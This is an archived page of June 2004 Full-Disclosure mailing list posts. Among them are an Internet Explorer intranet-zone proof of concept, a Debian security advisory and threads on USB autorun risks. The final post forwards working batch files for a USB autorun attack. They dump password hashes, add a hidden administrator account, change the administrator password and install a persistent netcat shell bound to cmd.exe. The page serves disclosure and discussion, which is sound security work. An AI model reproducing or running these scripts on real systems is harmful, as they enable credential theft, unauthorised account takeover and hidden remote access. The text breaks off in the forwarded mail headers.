iD8DBQFA07eRArxCt0PiXR4RArlSAJ4iW4GblVHLWXwzearT+H4mGQcg/gCgiViY
A2Pf/3Y9xupsEwnFSH+Cr5w=
=yjyQ
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] User auto added to Outlook Express contacts

From: Sapheriel (sapherielwwwp.de)
Date: Sat Jun 19 2004 - 04:55:16 CDT

IMO, this happens only when you reply to one of their e-mails.

greets

Sapheriel

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of BillyBobKnob
Sent: Saturday, June 19, 2004 2:41 AM
To: full-disclosurelists.netsys.com
Subject: [Full-Disclosure] User auto added to Outlook Express contacts

Does anyone have any idea how this works ?

I have all the latest critical updates and cannot find a setting in Outlook
Express to prevent this so could this possibly used for an exploit ?

Thanks,
Bill

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] RE: SECURE SOCKETS LAYER COELACANTH: Phreak Phishing Expedition

From: Jelmer (jkuperusplanet.nl)
Date: Fri Jun 18 2004 - 21:31:09 CDT

>As a addendum, perhaps, though I wouldn't doubt someone
>might make some nice proof of concept code for this...

Don't mind if I do :)

The following demo will read out your logon name and your logon domain, or
at least it should :)

http://jelmer.homedns.org/test.htm

The url used is http://jelmer%2fwww.jelmer.homedns.org

The problem is that ie looks at the part before the %2f to determine the
security zone etc but then loads the url in it's entirety, like this

http://jelmer - used to determine the zone
http://jelmer/www.jelmer.homedns.org - loaded

IE treats any url it sees without a period in it such as http://jelmer as
part of the Local Intranet Zone

From the intranet zone we can easily obtain the logon name because Automatic
logon thru NTLM is enabled by default in the intranet zone.

Code at http://jelmer.homedns.org/code.zip

I excluded the rather large jcifs jar, you can download it from
http://jcifs.samba.org/src/jcifs-0.9.2.jar and place it in the lib folder

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] User auto added to Outlook Express contacts

From: dila (dilamyrealbox.com)
Date: Fri Jun 18 2004 - 20:32:44 CDT

...when you click reply it automaticly adds the address

>Does anyone have any idea how this works ?
>
>I have all the latest critical updates and cannot find a setting in Outlook
>Express to prevent this so could this possibly used for an exploit ?
>
>
>Thanks,
>Bill
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Spam Solution

From: Larry Seltzer (larrylarryseltzer.com)
Date: Sat Jun 19 2004 - 04:22:29 CDT

>>Well, spammers are trying to crack accounts through SMTP AUTH for quite a long time -
this was mentioned in news more than once.
>>Check following threads:

All that appears to be weak username/password attacks. The reports also all say it's
against Exchange and they blame Exchange, not knowing that Exchange uses Active
Directory and can therefore will block this sort of thing if your network is set up to
block it.

Anyway, I guess this is a decent way to attack any SMTP server as it is to attack any
network at all. Do intrusion scanners test for weak SMTP AUTH credentials these days?

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzerziffdavis.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [SECURITY] [DSA 522-1] New super packages fix format string vulnerability

debian-security-announcelists.debian.org
Date: Sat Jun 19 2004 - 03:40:05 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 522-1 securitydebian.org
http://www.debian.org/security/ Matt Zimmerman
June 19th, 2004 http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package : super
Vulnerability : format string
Problem-Type : remote
Debian-specific: no
CVE Ids : CAN-2004-0579

Max Vozeler discovered a format string vulnerability in super, a
program to allow specified users to execute commands with root
privileges. This vulnerability could potentially be exploited by a
local user to execute arbitrary code with root privileges.

For the current stable distribution (woody), this problem has been
fixed in version 3.16.1-1.2.

For the unstable distribution (sid), this problem will has been fixed
in version 3.23.0-1.

We recommend that you update your super package.

Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2.dsc
      Size/MD5 checksum: 575 cac1a056bb9e19b1338819fc4b88562c
    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2.diff.gz
      Size/MD5 checksum: 10032 99656fad8f5c309f26a02e2ef55d7358
    http://security.debian.org/pool/updates/main/s/super/super_3.16.1.orig.tar.gz
      Size/MD5 checksum: 192062 cc868b2fc2b44c47d86da314a11acf0b

  Alpha architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_alpha.deb
      Size/MD5 checksum: 126800 06b6c023404345b2cf744dda440ffa05

  ARM architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_arm.deb
      Size/MD5 checksum: 115492 89f02438278dfb1c01d93d47be991d7a

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_i386.deb
      Size/MD5 checksum: 110300 357228adad26cd42db7f25c1634d8808

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_ia64.deb
      Size/MD5 checksum: 144430 2d72df2a9ec7322272e0c5966b0e5b7c

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_hppa.deb
      Size/MD5 checksum: 124062 50ed0d3bc17633b2dcf01007ee7e035c

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_m68k.deb
      Size/MD5 checksum: 108254 9cedd2b84c59a6666f7b8942ebde0597

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_mips.deb
      Size/MD5 checksum: 120728 a7ccfd46184977221d8fd0b1ec0ef7e5

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_mipsel.deb
      Size/MD5 checksum: 121174 77a234a605b57758fdbded86a533ce7f

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_powerpc.deb
      Size/MD5 checksum: 116772 c190e00530ae034c0036a28b70cec5bd

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_s390.deb
      Size/MD5 checksum: 114678 04d5d44dc5298d141851bb3ca939c5ea

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/s/super/super_3.16.1-1.2_sparc.deb
      Size/MD5 checksum: 117518 5f5437d7e2879a1ead1916ee7d9453db

  These files will probably be moved into the stable distribution on
  its next revision.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announcelists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA0/vbArxCt0PiXR4RAsS3AJ0V1lW0QYN9YBE8xuG/y2hgwQgnWACgwP8r
uDdnL36hNIK+eZKBK0M8xRU=
=y9ry
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] RE: Spam Solution

From: Larry Seltzer (larrylarryseltzer.com)
Date: Sat Jun 19 2004 - 05:57:05 CDT

>>Correct me if I'm wrong. One worm some time ago even _asked_ users to enter their SMTP
AUTH credentials. And it spread quite well. Attach a spam engine and reduce its
spreading rate to stay under the AV radar as long as possible and you're set.
>>Was it SWEN? Or one of the encrypted ZIP thingies? I can't remember but it happened.

Yes, you are thinking of Swen, but it doesn't do what you suggest. It asks you for SMTP
and POP3 server and login info, but it uses them to access your POP3 server. It's a
weird story; see
http://securityresponse.symantec.com/avcenter/venc/data/w32.swen.amm.html for details
and screen shots.

Of course, they could ask you for your SMTP credentials too, but this doesn't worry me
too much.

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzerziffdavis.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Re: USB risks (continued)

From: Harlan Carvey (keydet89yahoo.com)
Date: Sat Jun 19 2004 - 06:29:25 CDT

I agree, the use of USB-connected devices is nothing
new. They make a very unobtrusive delivery system, as
well as a great way to load vast amounts of data into
an extremely small space to get information out of an
organization.

But you know something, that's not really the point.
Yes, this is an old concern. It goes right up there
w/ digital camera-enabled cell phones and variety of
other security risks.

I've been after one thing from the
beginning...information. Evil Wrangler said that
information should be free, but when I asked him some
questions, all I got back was, "what...never heard of
hacking??"

In his 2600 article, EW stated that he plugged a USB
device into a friend's computer, and the autorun.inf
file was automatically parsed and commands within the
"open=" line of that file were automatically run.

According to documentation at MS, by default, this
should not be possible. The NoDriveTypeAutorun key
within the Registry allows CDs to run the autorun.inf
file, but not removeable drive types, such as floppies
and USB thumb drives.

I have asked for specifics such as manufacturer and
model number of the device used, specific information
regarding drivers loaded, etc. After all, EW says
that "information should be free", but I certainly
don't see him freeing any information. If anyone has
any information that can be used in repeatable
experiments, I'd appreciate hearing from you.

Thanks,

Harlan

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] USB risks - working autorun example (fwd from pen-test)

From: Gadi Evron (geegotistical.reprehensible.net)
Date: Sat Jun 19 2004 - 07:56:16 CDT

Okay, just to put this point at ease, autorun.inf usage on USB drives is
possible. My concerns are of a different type, a BOF or a backdoor in an
SDK. Even simple usage of USB for different operational criminal needs...
Still, if the simplest solution (autorun) works (and it does...)... why
over-complicate like we in the security field tend to do?

Attached is a proof-of-concept as made available by mak_penhotmail.com
for using autorun with USB.

This should work. As it was already released, I see nothing wrong with
relaying it again (with due credit) here.

I'd strongly suggest to people to read the (different) threads on the
subject on the pen-test list, a lot of questions were answered there.

        Gadi Evron.

--
Email: gelinuxbox.org. Work: gadiecbs.gov.il. Backup: gewarp.mx.dk.
Phone: +972-50-428610 (Cell).

PGP key for attachments: http://vapid.reprehensible.net/~ge/Gadi_Evron.asc
ID: 0xD9216A06 FP: 5BB0 D3E2 D3C1 19B7 2104 C0D0 A7B3 1CF7 D921 6A06
GPG key for encrypted email:
http://vapid.reprehensible.net/~ge/Gadi_Evron_Emails.asc
ID: 0x06C7D450 FP: 3B88 845A DF1F 4062 E5BA 569A A87E 8DB7 06C7 D450

attached mail follows:

In-Reply-To: <BAY15-F11d7KKQpQq5p00043ca6hotmail.com>

I have been using this "attack" for some time now. below are the batch files (test.bat, b.bat and autorun.inf. autorun.inf calls test.bat)i use:

*********<BOF test.bat>

echo off

start /min b.bat /B

exit

<EOF test.bat>

*********<BOF b.bat>

explorer .

echo off

::Displaying Computer Information for my reference

echo %computername% %username% %date% %time% >> Essential\DumpIt\sam.txt

Essential\DumpIt\pwdump2 >> Essential\DumpIt\sam.txt

::Adding a user for me :o)

net user /add __system32__ .z,xmcnvb /fullname:"IPC User"

net localgroup Administrators _system32_ /add

::Hide the Account from being shown on the welcome screen

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "__system__" /t REG_DWORD /d 0 /f

::Enabling Admin Shares

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters /v AutoSharewks /t reg_dword /d 1 /f

::Changing Admin Password

net user administrator .;[pl,mkoijnbhu

::Backdooring

copy nc.exe <nc directory>

cd c:

cd <nc directory>

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Taskbr" /d "nc directory\nc.exe -L -d -p 80 -e cmd.exe" /f

echo MYUSER: __system32__ .z,xmcnvb >> Essential\DumpIt\sam.txt

echo Changed Admin Pass: .;[pl,mkoijnbhu >> Essential\DumpIt\sam.txt

echo ******************************************** >> Essential\DumpIt\sam.txt

cls

exit

<EOF b.bat>

I have tried this using a flash memmory and it works. what happens is that it opens explorer showing the current directory so that it hides any shells that might appear, then it does a series of commands which i have documented above.

to prevent against this i have a registry file i use to disable autorun all together. contact me if you need it at: mak_pen(at)hotmail(dot)com

Cheers....

>Received: (qmail 20035 invoked from network); 2 Jun 2004 22:23:41 -0000

>Received: from outgoing.securityfocus.com (HELO outgoing2.securityfocus.com) (205.206.231.26)

> by mail.securityfocus.com with SMTP; 2 Jun 2004 22:23:41 -0000

>Received: from lists.securityfocus.com (lists.securityfocus.com [205.206.231.19])

> by outgoing2.securityfocus.com (Postfix) with QMQP

> id 62E8414370A; Thu, 3 Jun 2004 00:26:35 -0600 (MDT)

>Mailing-List: contact pen-test-helpsecurityfocus.com; run by ezmlm

>Precedence: bulk

>List-Id: <pen-test.list-id.securityfocus.com>

>List-Post: <mailto:pen-testsecurityfocus.com>

>List-Help: <mailto:pen-test-helpsecurityfocus.com>

>List-Unsubscribe: <mailto:pen-test-unsubscribesecurityfocus.com>

>List-Subscribe: <mailto:pen-test-subscribesecurityfocus.com>

>Delivered-To: mailing list pen-testsecurityfocus.com

>Delivered-To: moderator for pen-testsecurityfocus.com

>Received: (qmail 27926 invoked from network); 2 Jun 2004 19:49:38 -0000

>X-Originating-IP: [66.130.148.65]

>X-Originating-Email: [mindedsmasherhotmail.com]

>X-Sender: mindedsmasherhotmail.com <